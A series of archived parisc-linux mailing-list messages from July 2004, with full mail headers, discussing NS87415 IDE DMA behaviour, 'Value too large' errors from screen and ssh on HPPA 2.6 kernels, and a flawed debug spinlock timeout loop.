http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.4-rc1-pa3 siimage/NS87415 IDE progess (and
	another mystery)!
Date: Mon, 12 Jul 2004 21:56:32 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20040713035632.GA27696@colo.lackof.org>
References: <Pine.LNX.4.58.0403090656070.13701@sal.ucc.ie>
	<20040309072917.GN1113@tausq.org>
	<Pine.LNX.4.58.0403091401480.16082@sal.ucc.ie>
	<20040711221829.GA27835@colo.lackof.org>
	<20040711231401.GW546@tausq.org> <20040711233439.GX546@tausq.org>
	<20040712033752.GA10163@sal.ucc.ie>
	<20040712041935.GA10211@sal.ucc.ie>
	<20040712161444.GB12046@colo.lackof.org>
	<20040712185132.GB11805@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623500 10195 80.91.229.3 (22 Nov 2014 02:31:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22037 invoked by uid 65534); 13 Jul 2004 03:57:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx050) with SMTP; 13 Jul 2004 05:57:14 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E88EA3BE19; Mon, 12 Jul 2004 21:57:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28720-06; Mon, 12 Jul 2004 21:57:07 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 963373BE17; Mon, 12 Jul 2004 21:56:38 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EACE43BE15
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 21:56:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 28720-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 21:56:34 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id B34743BE13
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 21:56:33 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id CA4A529810C; Mon, 12 Jul 2004 21:56:32 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27125-10; Mon, 12 Jul 2004 21:56:32 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 410C229810A; Mon, 12 Jul 2004 21:56:32 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040712185132.GB11805@sal.ucc.ie>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21808

On Mon, Jul 12, 2004 at 07:51:32PM +0100, M. Grabert wrote:
> > If the IDE controller is NOT prefetching data into a local buffer,
> > I don't think it will be able to efficiently burst data across
> > the PCI bus.
> 
> Ah, and you fixed prefetching with the latest patch? Now I understand
> the issue ...

I don't think so. I think I've got the various parts of the IDE
controller to NOT prefetch. You need to read the 87560.pdf file
that is available from the parisc-linux.org Tech Docs page.
Then you'll know as much as I do about this IDE controller.
I'm really clueless about how IDE works internally.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.4-rc1-pa3 siimage/NS87415 IDE progess (and
	another mystery)!
Date: Mon, 12 Jul 2004 22:17:29 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <20040713041729.GB27696@colo.lackof.org>
References: <20040309063629.GM1113@tausq.org>
	<Pine.LNX.4.58.0403090656070.13701@sal.ucc.ie>
	<20040309072917.GN1113@tausq.org>
	<Pine.LNX.4.58.0403091401480.16082@sal.ucc.ie>
	<20040711221829.GA27835@colo.lackof.org>
	<20040711231401.GW546@tausq.org> <20040711233439.GX546@tausq.org>
	<20040712033752.GA10163@sal.ucc.ie>
	<20040712160534.GA12046@colo.lackof.org>
	<20040712183943.GA11805@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623500 10199 80.91.229.3 (22 Nov 2014 02:31:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:40 +0000 (UTC)
To: Grant Grundler <grundler@parisc-linux.org>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 6018 invoked by uid 65534); 13 Jul 2004 04:18:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx056) with SMTP; 13 Jul 2004 06:18:16 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A33DE3BE1F; Mon, 12 Jul 2004 22:18:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29398-06; Mon, 12 Jul 2004 22:18:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B82333BE18; Mon, 12 Jul 2004 22:17:37 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3AF5E3BE16
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 22:17:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 29411-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 22:17:31 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 194D63BE15
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 22:17:31 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 4114629810D; Mon, 12 Jul 2004 22:17:30 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27782-05; Mon, 12 Jul 2004 22:17:29 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7A2F229810C; Mon, 12 Jul 2004 22:17:29 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040712183943.GA11805@sal.ucc.ie>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21809

On Mon, Jul 12, 2004 at 07:39:44PM +0100, M. Grabert wrote:
> OOOooOOoooopps!
> This isse was resolved by Randolph, back in March, 9th:
...
> Those patches obviously made it into the CVS a couple the same day:
> http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2004-March/033894.html
> NS87415 onboard IDE + hard drivers worked since then, starting with the
> (stock) 2.6.4-rc3-pa6 kernel.

yes - I remember those. But I thought that was just to get the
 controller working without DMA.

> That's where I misunderstood you: I thought you patch was trying
> to fix DMA.

Well, it clearly using DMA on the C3600 I was testing.
Using PIO modes I only got 1MB/s. With DMA I was getting ~2.4MB/s.
(using a 32X CD-ROM reading a Debian hppa-linux install CD).

> I hope my bug report was not the only reason what inspired you
> to make this patch, otherwise it would have been an awful waste of
> time :-/

No - I don't think it was. My hack suggests the ns87415 driver
is incomplete in it's support for ATAPI vs other IDE devices.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Cannot access '/dev/pts/143862': Value too large for
	defined data type
Date: Tue, 13 Jul 2004 20:35:08 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <200407132035.08844.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623501 10203 80.91.229.3 (22 Nov 2014 02:31:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 13690 invoked by uid 65534); 13 Jul 2004 18:39:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx033) with SMTP; 13 Jul 2004 20:39:46 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 616B13BDC9; Tue, 13 Jul 2004 12:39:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04547-07; Tue, 13 Jul 2004 12:39:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E9BA23BDCE; Tue, 13 Jul 2004 12:39:20 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D9F983BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Jul 2004 12:39:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 04523-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Jul 2004 12:39:16 -0600 (MDT)
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 2CA133BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Jul 2004 12:39:15 -0600 (MDT)
Original-Received: (qmail 2954 invoked by uid 65534); 13 Jul 2004 18:39:11 -0000
Original-Received: from pD9FE7044.dip.t-dialin.net (EHLO p100) (217.254.112.68)
	by mail.gmx.net (mp007) with SMTP; 13 Jul 2004 20:39:11 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.6.82
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21810

I'm using the "screen" command regulary on HPPA with a 2.6 kernel, but sometimes I get the error message:

d036493@hw1306:~ > screen
Cannot access '/dev/pts/143862': Value too large for defined data type

What's the problem ?
Can screen not cope with the "high" (>16bit) pid/uid values ?
If yes, does screen needs to rebuild and could someone ask to rebuild it ?

Thanks,
Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Cannot access '/dev/pts/143862': Value too large for defined data type
Date: Tue, 13 Jul 2004 12:21:35 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20040713192135.GJ546@tausq.org>
References: <200407132035.08844.deller@gmx.de>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623501 10208 80.91.229.3 (22 Nov 2014 02:31:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <randolph@tausq.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29022 invoked by uid 65534); 13 Jul 2004 19:21:35 -0000
Original-Received: from gandalf.tausq.org (EHLO pippin.tausq.org) (64.81.244.94)
  by mx0.gmx.net (mx016) with SMTP; 13 Jul 2004 21:21:35 +0200
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 5AC28CD2AE; Tue, 13 Jul 2004 12:21:35 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200407132035.08844.deller@gmx.de>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21811

> d036493@hw1306:~ > screen
> Cannot access '/dev/pts/143862': Value too large for defined data type
> 
> What's the problem ?
> Can screen not cope with the "high" (>16bit) pid/uid values ?
> If yes, does screen needs to rebuild and could someone ask to rebuild it ?

I don't know, but I see this with ssh too...

pippin[12:20] ~% ssh legolas
Linux legolas 2.6.7-pa13 #78 Sun Jul 11 17:02:38 PDT 2004 parisc GNU/Linux
You have new mail.
fstat: Value too large for defined data type

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/



From - Thu Nov 08 21:32:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] spinlock debug
Date: Tue, 13 Jul 2004 21:29:10 -0700
Lines: 48
Approved: news@gmane.org
Message-ID: <20040714042909.GM546@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623501 10211 80.91.229.3 (22 Nov 2014 02:31:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: varenet@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 31382 invoked by uid 65534); 14 Jul 2004 04:29:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx008) with SMTP; 14 Jul 2004 06:29:40 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E33073BDCB; Tue, 13 Jul 2004 22:29:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09385-05; Tue, 13 Jul 2004 22:29:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D65723BDCE; Tue, 13 Jul 2004 22:29:11 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CBED83BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Jul 2004 22:29:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06848-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Jul 2004 22:29:07 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id F12563BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Jul 2004 22:29:06 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 17D15CD299; Tue, 13 Jul 2004 21:29:10 -0700 (PDT)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21812

Thibaut,

I'm just looking at your debuglocks stuff again. It doesn't look right
to me.

	/* Do the actual locking */
	/* <T-Bone> ggg: we can't get stuck on the outter loop?
	 * <ggg> T-Bone: We only hit the outer loop when the data
	 *	changes and the first time. We can hit the outer one
	 *	alot if multiple CPUs are constantly racing for a lock
	 *	and the backplane is NOT fair about which CPU sees
	 *	the update first. But it won't hang since every failed
	 *	attempt will drop us back into the inner loop and
	 *	decrement `stuck'.
	 * <ggg> K-class and some of the others are NOT fair in the HW
	 * 	implementation so we could see false positives.
	 * 	But fixing the lock contention is easier than
	 * 	fixing the HW to be fair.
	 */
	a = __ldcw_align(lock);
	while ((__ldcw(a) == 0))
		while ((*a == 0) && --stuck);

I don't think the comment is correct. Lets say someone is holding the
lock when you enter this code, your outer loop test always succeeds, and
you spin on the inner loop until stuck == 0. At that point you go back
to the outer loop, the lock is still held, so you go back to the inner
loop and continue spinning, and you never timeout the lock.

you probably need a "&& stuck > 0" in the outer loop.

for some reason this still doesn't work for me though, but i don't see 
why :( with a TOC i see we are spinning and i never see the printk.
it might be that it's actually printing and just that the output is not
going to the console... dunno

what am i missing? :)
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] spinlock debug
Date: Tue, 13 Jul 2004 22:08:32 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <20040714050832.GN546@tausq.org>
References: <20040714042909.GM546@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623502 10214 80.91.229.3 (22 Nov 2014 02:31:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: varenet@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 7271 invoked by uid 65534); 14 Jul 2004 05:09:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx046) with SMTP; 14 Jul 2004 07:09:18 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DA1DE3BDF4; Tue, 13 Jul 2004 23:08:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09783-07; Tue, 13 Jul 2004 23:08:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A980E3BDDB; Tue, 13 Jul 2004 23:08:36 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0080E3BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Jul 2004 23:08:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 09741-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Jul 2004 23:08:32 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id BD2E53BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Jul 2004 23:08:31 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 4E42ACD2AE; Tue, 13 Jul 2004 22:08:32 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20040714042909.GM546@tausq.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
